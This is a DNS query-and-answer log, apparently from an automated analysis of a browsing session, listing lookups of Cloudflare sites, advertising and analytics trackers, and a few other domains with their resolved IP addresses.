Oct 18, 2024 15:48:02.745044947 CEST	192.168.2.8	1.1.1.1	0xa841	Standard query (0)	performance.radar.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:02.747152090 CEST	192.168.2.8	1.1.1.1	0x22d5	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:02.747654915 CEST	192.168.2.8	1.1.1.1	0xd60a	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:02.749340057 CEST	192.168.2.8	1.1.1.1	0x9a18	Standard query (0)	ot.www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:02.750927925 CEST	192.168.2.8	1.1.1.1	0x92e	Standard query (0)	ot.www.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:03.008919954 CEST	192.168.2.8	1.1.1.1	0x5790	Standard query (0)	cf-assets.www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:03.009176016 CEST	192.168.2.8	1.1.1.1	0xab98	Standard query (0)	cf-assets.www.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:03.025960922 CEST	192.168.2.8	1.1.1.1	0xd09b	Standard query (0)	static.cloudflareinsights.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:03.026335955 CEST	192.168.2.8	1.1.1.1	0xe12b	Standard query (0)	static.cloudflareinsights.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:04.242621899 CEST	192.168.2.8	1.1.1.1	0xb15b	Standard query (0)	ot.www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:04.243172884 CEST	192.168.2.8	1.1.1.1	0x46e9	Standard query (0)	ot.www.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:06.483937979 CEST	192.168.2.8	1.1.1.1	0x31a6	Standard query (0)	cdn.logr-ingest.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:06.484560966 CEST	192.168.2.8	1.1.1.1	0x2121	Standard query (0)	cdn.logr-ingest.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:07.744817972 CEST	192.168.2.8	1.1.1.1	0x9652	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:07.745232105 CEST	192.168.2.8	1.1.1.1	0x5dd4	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:09.225013018 CEST	192.168.2.8	1.1.1.1	0x8884	Standard query (0)	assets.adobedtm.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:09.225158930 CEST	192.168.2.8	1.1.1.1	0x3ffd	Standard query (0)	assets.adobedtm.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:09.265841007 CEST	192.168.2.8	1.1.1.1	0x4d34	Standard query (0)	api.www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:09.266154051 CEST	192.168.2.8	1.1.1.1	0xa06c	Standard query (0)	api.www.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:09.437750101 CEST	192.168.2.8	1.1.1.1	0x74f9	Standard query (0)	cdn.logr-ingest.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:09.437894106 CEST	192.168.2.8	1.1.1.1	0xc3e5	Standard query (0)	cdn.logr-ingest.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:10.078011990 CEST	192.168.2.8	1.1.1.1	0x8605	Standard query (0)	api.www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.078167915 CEST	192.168.2.8	1.1.1.1	0xb5c2	Standard query (0)	api.www.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:10.929974079 CEST	192.168.2.8	1.1.1.1	0xebd7	Standard query (0)	snap.licdn.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.930200100 CEST	192.168.2.8	1.1.1.1	0x955	Standard query (0)	snap.licdn.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:10.930699110 CEST	192.168.2.8	1.1.1.1	0x7e89	Standard query (0)	static.ads-twitter.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.930927038 CEST	192.168.2.8	1.1.1.1	0xe656	Standard query (0)	static.ads-twitter.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:10.931473017 CEST	192.168.2.8	1.1.1.1	0x7fe9	Standard query (0)	js.qualified.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.931756020 CEST	192.168.2.8	1.1.1.1	0xe702	Standard query (0)	js.qualified.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:10.932209015 CEST	192.168.2.8	1.1.1.1	0xb893	Standard query (0)	munchkin.marketo.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.932588100 CEST	192.168.2.8	1.1.1.1	0x2272	Standard query (0)	munchkin.marketo.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:10.933161974 CEST	192.168.2.8	1.1.1.1	0x4440	Standard query (0)	cdn.bizible.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.933393002 CEST	192.168.2.8	1.1.1.1	0xd553	Standard query (0)	cdn.bizible.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:10.934233904 CEST	192.168.2.8	1.1.1.1	0x532b	Standard query (0)	tag.demandbase.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.934636116 CEST	192.168.2.8	1.1.1.1	0x4d28	Standard query (0)	tag.demandbase.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:10.934865952 CEST	192.168.2.8	1.1.1.1	0xc215	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.935076952 CEST	192.168.2.8	1.1.1.1	0x8a45	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:10.945286036 CEST	192.168.2.8	1.1.1.1	0x599e	Standard query (0)	alb.reddit.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.945939064 CEST	192.168.2.8	1.1.1.1	0xdc4d	Standard query (0)	alb.reddit.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:11.382045984 CEST	192.168.2.8	1.1.1.1	0xbcce	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.382328033 CEST	192.168.2.8	1.1.1.1	0x5bee	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:11.480415106 CEST	192.168.2.8	1.1.1.1	0x5d83	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.480618000 CEST	192.168.2.8	1.1.1.1	0x3e49	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:11.550260067 CEST	192.168.2.8	1.1.1.1	0x28ce	Standard query (0)	assets.adobedtm.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.550483942 CEST	192.168.2.8	1.1.1.1	0x5aa4	Standard query (0)	assets.adobedtm.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:11.747458935 CEST	192.168.2.8	1.1.1.1	0xe5ed	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.747647047 CEST	192.168.2.8	1.1.1.1	0x70a9	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:11.820632935 CEST	192.168.2.8	1.1.1.1	0xf87a	Standard query (0)	alb.reddit.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.820810080 CEST	192.168.2.8	1.1.1.1	0x63ed	Standard query (0)	alb.reddit.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.177256107 CEST	192.168.2.8	1.1.1.1	0xd237	Standard query (0)	di.rlcdn.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.177417994 CEST	192.168.2.8	1.1.1.1	0xa355	Standard query (0)	di.rlcdn.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.190428972 CEST	192.168.2.8	1.1.1.1	0xf5da	Standard query (0)	munchkin.marketo.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.190817118 CEST	192.168.2.8	1.1.1.1	0xf6b2	Standard query (0)	munchkin.marketo.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.405451059 CEST	192.168.2.8	1.1.1.1	0x99af	Standard query (0)	api.company-target.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.405868053 CEST	192.168.2.8	1.1.1.1	0xd993	Standard query (0)	api.company-target.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.416162968 CEST	192.168.2.8	1.1.1.1	0x8486	Standard query (0)	s.company-target.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.416310072 CEST	192.168.2.8	1.1.1.1	0x13f6	Standard query (0)	s.company-target.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.424288988 CEST	192.168.2.8	1.1.1.1	0xb817	Standard query (0)	id.rlcdn.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.424484968 CEST	192.168.2.8	1.1.1.1	0x318e	Standard query (0)	id.rlcdn.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.487421989 CEST	192.168.2.8	1.1.1.1	0x3c8	Standard query (0)	adobedc.demdex.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.487781048 CEST	192.168.2.8	1.1.1.1	0xc5eb	Standard query (0)	adobedc.demdex.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.488624096 CEST	192.168.2.8	1.1.1.1	0x9894	Standard query (0)	cloudflareinc.demdex.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.488826990 CEST	192.168.2.8	1.1.1.1	0x6ea9	Standard query (0)	cloudflareinc.demdex.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.507241964 CEST	192.168.2.8	1.1.1.1	0x2fdb	Standard query (0)	cm.everesttech.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.507663965 CEST	192.168.2.8	1.1.1.1	0x904b	Standard query (0)	cm.everesttech.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.510545015 CEST	192.168.2.8	1.1.1.1	0x8e19	Standard query (0)	r.logr-ingest.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.510711908 CEST	192.168.2.8	1.1.1.1	0x8966	Standard query (0)	r.logr-ingest.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.558892965 CEST	192.168.2.8	1.1.1.1	0x4249	Standard query (0)	tag.demandbase.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.559216022 CEST	192.168.2.8	1.1.1.1	0x1435	Standard query (0)	tag.demandbase.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.559834003 CEST	192.168.2.8	1.1.1.1	0x51f3	Standard query (0)	snap.licdn.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.560221910 CEST	192.168.2.8	1.1.1.1	0x60aa	Standard query (0)	snap.licdn.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.561691999 CEST	192.168.2.8	1.1.1.1	0xea7e	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.562071085 CEST	192.168.2.8	1.1.1.1	0x6f95	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.563745022 CEST	192.168.2.8	1.1.1.1	0x17c7	Standard query (0)	static.ads-twitter.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.563940048 CEST	192.168.2.8	1.1.1.1	0xa021	Standard query (0)	static.ads-twitter.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.607762098 CEST	192.168.2.8	1.1.1.1	0x157d	Standard query (0)	t.co	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.608067989 CEST	192.168.2.8	1.1.1.1	0x3795	Standard query (0)	t.co	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.637279987 CEST	192.168.2.8	1.1.1.1	0x1846	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.637604952 CEST	192.168.2.8	1.1.1.1	0x8e3	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.638880014 CEST	192.168.2.8	1.1.1.1	0x1ec9	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.639112949 CEST	192.168.2.8	1.1.1.1	0x8c3e	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.643090010 CEST	192.168.2.8	1.1.1.1	0xa932	Standard query (0)	cdn.bizible.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.643444061 CEST	192.168.2.8	1.1.1.1	0x7fe5	Standard query (0)	cdn.bizible.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.874104977 CEST	192.168.2.8	1.1.1.1	0x21cc	Standard query (0)	www.linkedin.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.874247074 CEST	192.168.2.8	1.1.1.1	0x594c	Standard query (0)	www.linkedin.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:12.980961084 CEST	192.168.2.8	1.1.1.1	0x9cc2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.981188059 CEST	192.168.2.8	1.1.1.1	0xe43b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:13.058526993 CEST	192.168.2.8	1.1.1.1	0x1e32	Standard query (0)	cdn.bizibly.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.058999062 CEST	192.168.2.8	1.1.1.1	0xbc3b	Standard query (0)	cdn.bizibly.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:13.251888990 CEST	192.168.2.8	1.1.1.1	0x9c46	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.252078056 CEST	192.168.2.8	1.1.1.1	0x42d3	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:13.252597094 CEST	192.168.2.8	1.1.1.1	0xb877	Standard query (0)	partners.tremorhub.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.252737045 CEST	192.168.2.8	1.1.1.1	0x4919	Standard query (0)	partners.tremorhub.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:13.275490046 CEST	192.168.2.8	1.1.1.1	0x96be	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.275762081 CEST	192.168.2.8	1.1.1.1	0xa219	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:13.304579020 CEST	192.168.2.8	1.1.1.1	0x4c8e	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.304727077 CEST	192.168.2.8	1.1.1.1	0xf846	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:13.503779888 CEST	192.168.2.8	1.1.1.1	0x6746	Standard query (0)	t.co	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.504065990 CEST	192.168.2.8	1.1.1.1	0xc7e0	Standard query (0)	t.co	65	IN (0x0001)	false
Oct 18, 2024 15:48:13.551399946 CEST	192.168.2.8	1.1.1.1	0x4da4	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.552278042 CEST	192.168.2.8	1.1.1.1	0x499d	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:13.694118977 CEST	192.168.2.8	1.1.1.1	0x1c64	Standard query (0)	js.qualified.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.694118977 CEST	192.168.2.8	1.1.1.1	0xb2e6	Standard query (0)	js.qualified.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:13.695976973 CEST	192.168.2.8	1.1.1.1	0x372b	Standard query (0)	adobedc.demdex.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.695976973 CEST	192.168.2.8	1.1.1.1	0x3664	Standard query (0)	adobedc.demdex.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:13.709629059 CEST	192.168.2.8	1.1.1.1	0x3dd1	Standard query (0)	ws6.qualified.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.709976912 CEST	192.168.2.8	1.1.1.1	0x861d	Standard query (0)	ws6.qualified.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:13.724482059 CEST	192.168.2.8	1.1.1.1	0x7b30	Standard query (0)	tag-logger.demandbase.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.724607944 CEST	192.168.2.8	1.1.1.1	0x37d1	Standard query (0)	tag-logger.demandbase.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:13.763077974 CEST	192.168.2.8	1.1.1.1	0xabfe	Standard query (0)	api.company-target.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.763210058 CEST	192.168.2.8	1.1.1.1	0xf216	Standard query (0)	api.company-target.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:13.932580948 CEST	192.168.2.8	1.1.1.1	0x7ada	Standard query (0)	713-xsc-918.mktoresp.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:13.932954073 CEST	192.168.2.8	1.1.1.1	0x2682	Standard query (0)	713-xsc-918.mktoresp.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:14.248301029 CEST	192.168.2.8	1.1.1.1	0x6db2	Standard query (0)	partners.tremorhub.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.248743057 CEST	192.168.2.8	1.1.1.1	0x53c2	Standard query (0)	partners.tremorhub.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:14.349941015 CEST	192.168.2.8	1.1.1.1	0xec4a	Standard query (0)	cdn.bizibly.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.350109100 CEST	192.168.2.8	1.1.1.1	0x95b6	Standard query (0)	cdn.bizibly.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:14.710179090 CEST	192.168.2.8	1.1.1.1	0x693f	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.710402966 CEST	192.168.2.8	1.1.1.1	0x12eb	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:14.725285053 CEST	192.168.2.8	1.1.1.1	0x74e6	Standard query (0)	edge.adobedc.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.725518942 CEST	192.168.2.8	1.1.1.1	0x9c79	Standard query (0)	edge.adobedc.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:14.877065897 CEST	192.168.2.8	1.1.1.1	0x4c99	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:14.877258062 CEST	192.168.2.8	1.1.1.1	0x98a0	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:15.226485014 CEST	192.168.2.8	1.1.1.1	0x1d9	Standard query (0)	tag-logger.demandbase.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:15.226655006 CEST	192.168.2.8	1.1.1.1	0x9e2c	Standard query (0)	tag-logger.demandbase.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:16.232326984 CEST	192.168.2.8	1.1.1.1	0x7052	Standard query (0)	edge.adobedc.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:16.232486963 CEST	192.168.2.8	1.1.1.1	0x22e	Standard query (0)	edge.adobedc.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:44.209419966 CEST	192.168.2.8	1.1.1.1	0x6a9f	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:44.209650993 CEST	192.168.2.8	1.1.1.1	0xadc6	Standard query (0)	analytics.google.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:44.494208097 CEST	192.168.2.8	1.1.1.1	0xee3d	Standard query (0)	td.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:44.494482040 CEST	192.168.2.8	1.1.1.1	0x9800	Standard query (0)	td.doubleclick.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:44.545208931 CEST	192.168.2.8	1.1.1.1	0xe296	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:44.545420885 CEST	192.168.2.8	1.1.1.1	0x86f6	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:45.245651960 CEST	192.168.2.8	1.1.1.1	0x8e8a	Standard query (0)	r.logr-ingest.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:45.245922089 CEST	192.168.2.8	1.1.1.1	0xbdd5	Standard query (0)	r.logr-ingest.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:46.389811993 CEST	192.168.2.8	1.1.1.1	0x198e	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:46.390142918 CEST	192.168.2.8	1.1.1.1	0x3b37	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Oct 18, 2024 15:48:47.456496000 CEST	192.168.2.8	1.1.1.1	0x19e3	Standard query (0)	adservice.google.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:47.457143068 CEST	192.168.2.8	1.1.1.1	0x6ce8	Standard query (0)	adservice.google.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:49.866507053 CEST	192.168.2.8	1.1.1.1	0xaa4b	Standard query (0)	adservice.google.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:49.867085934 CEST	192.168.2.8	1.1.1.1	0x17e0	Standard query (0)	adservice.google.com	65	IN (0x0001)	false
Oct 18, 2024 15:48:52.378458023 CEST	192.168.2.8	1.1.1.1	0x49d0	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:52.378531933 CEST	192.168.2.8	1.1.1.1	0x730f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:49:10.713241100 CEST	192.168.2.8	1.1.1.1	0x94d0	Standard query (0)	www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:10.713715076 CEST	192.168.2.8	1.1.1.1	0xc560	Standard query (0)	www.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:49:11.091166973 CEST	192.168.2.8	1.1.1.1	0x5e5f	Standard query (0)	cf-assets.www.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:11.091396093 CEST	192.168.2.8	1.1.1.1	0xd200	Standard query (0)	cf-assets.www.cloudflare.com	65	IN (0x0001)	false
Oct 18, 2024 15:49:12.030155897 CEST	192.168.2.8	1.1.1.1	0x6cca	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:12.030251026 CEST	192.168.2.8	1.1.1.1	0xa7fe	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Oct 18, 2024 15:49:12.632951021 CEST	192.168.2.8	1.1.1.1	0xd1bd	Standard query (0)	cdn.bizible.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:12.633127928 CEST	192.168.2.8	1.1.1.1	0x789d	Standard query (0)	cdn.bizible.com	65	IN (0x0001)	false
Oct 18, 2024 15:49:14.192910910 CEST	192.168.2.8	1.1.1.1	0x3f4c	Standard query (0)	ws6.qualified.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:14.193799019 CEST	192.168.2.8	1.1.1.1	0x142b	Standard query (0)	ws6.qualified.com	65	IN (0x0001)	false
Oct 18, 2024 15:49:15.888417959 CEST	192.168.2.8	1.1.1.1	0x9e28	Standard query (0)	edge.adobedc.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:15.889724970 CEST	192.168.2.8	1.1.1.1	0xe9de	Standard query (0)	edge.adobedc.net	65	IN (0x0001)	false
Oct 18, 2024 15:49:17.396270990 CEST	192.168.2.8	1.1.1.1	0x7b2c	Standard query (0)	edge.adobedc.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:17.397000074 CEST	192.168.2.8	1.1.1.1	0xc924	Standard query (0)	edge.adobedc.net	65	IN (0x0001)	false
Oct 18, 2024 15:49:43.852003098 CEST	192.168.2.8	1.1.1.1	0x3ed1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:49:43.852438927 CEST	192.168.2.8	1.1.1.1	0xb64a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 18, 2024 15:50:20.037703037 CEST	192.168.2.8	1.1.1.1	0x96c3	Standard query (0)	edge.adobedc.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:20.037977934 CEST	192.168.2.8	1.1.1.1	0x3c3b	Standard query (0)	edge.adobedc.net	65	IN (0x0001)	false
Oct 18, 2024 15:50:21.575773954 CEST	192.168.2.8	1.1.1.1	0x698e	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:21.575949907 CEST	192.168.2.8	1.1.1.1	0x3d38	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Oct 18, 2024 15:50:22.552572012 CEST	192.168.2.8	1.1.1.1	0xad6	Standard query (0)	edge.adobedc.net	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:22.553045034 CEST	192.168.2.8	1.1.1.1	0xbf31	Standard query (0)	edge.adobedc.net	65	IN (0x0001)	false
Oct 18, 2024 15:50:50.424911022 CEST	192.168.2.8	1.1.1.1	0x5984	Standard query (0)	ws6.qualified.com	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:50:50.426019907 CEST	192.168.2.8	1.1.1.1	0xa16e	Standard query (0)	ws6.qualified.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 18, 2024 15:47:40.818917990 CEST	1.1.1.1	192.168.2.8	0xe37d	No error (0)	www.linksideas.poc-asia.com		103.17.8.67	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:42.915061951 CEST	1.1.1.1	192.168.2.8	0xb84c	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:42.915061951 CEST	1.1.1.1	192.168.2.8	0xb84c	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:42.915194988 CEST	1.1.1.1	192.168.2.8	0x1ab	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:47:43.785414934 CEST	1.1.1.1	192.168.2.8	0x9ee2	No error (0)	www.linksideas.poc-asia.com		103.17.8.67	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:43.797621965 CEST	1.1.1.1	192.168.2.8	0xcbbf	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 18, 2024 15:47:43.797718048 CEST	1.1.1.1	192.168.2.8	0xd165	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:44.185558081 CEST	1.1.1.1	192.168.2.8	0x41a0	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:47:44.186115980 CEST	1.1.1.1	192.168.2.8	0x7a56	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:44.186115980 CEST	1.1.1.1	192.168.2.8	0x7a56	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:45.012679100 CEST	1.1.1.1	192.168.2.8	0xc4ab	No error (0)	www.linksideas.poc-asia.com		103.17.8.67	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:49.625711918 CEST	1.1.1.1	192.168.2.8	0xf22d	No error (0)	bookingadocel.com			65	IN (0x0001)	false
Oct 18, 2024 15:47:49.636004925 CEST	1.1.1.1	192.168.2.8	0x834	No error (0)	bookingadocel.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:49.636004925 CEST	1.1.1.1	192.168.2.8	0x834	No error (0)	bookingadocel.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:52.395514965 CEST	1.1.1.1	192.168.2.8	0x8f67	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:54.673938036 CEST	1.1.1.1	192.168.2.8	0xc71d	No error (0)	bookingadocel.com			65	IN (0x0001)	false
Oct 18, 2024 15:47:54.687108040 CEST	1.1.1.1	192.168.2.8	0xcdd9	No error (0)	bookingadocel.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:47:54.687108040 CEST	1.1.1.1	192.168.2.8	0xcdd9	No error (0)	bookingadocel.com		188.114.97.3	A (IP address)	IN (0x0001)	false
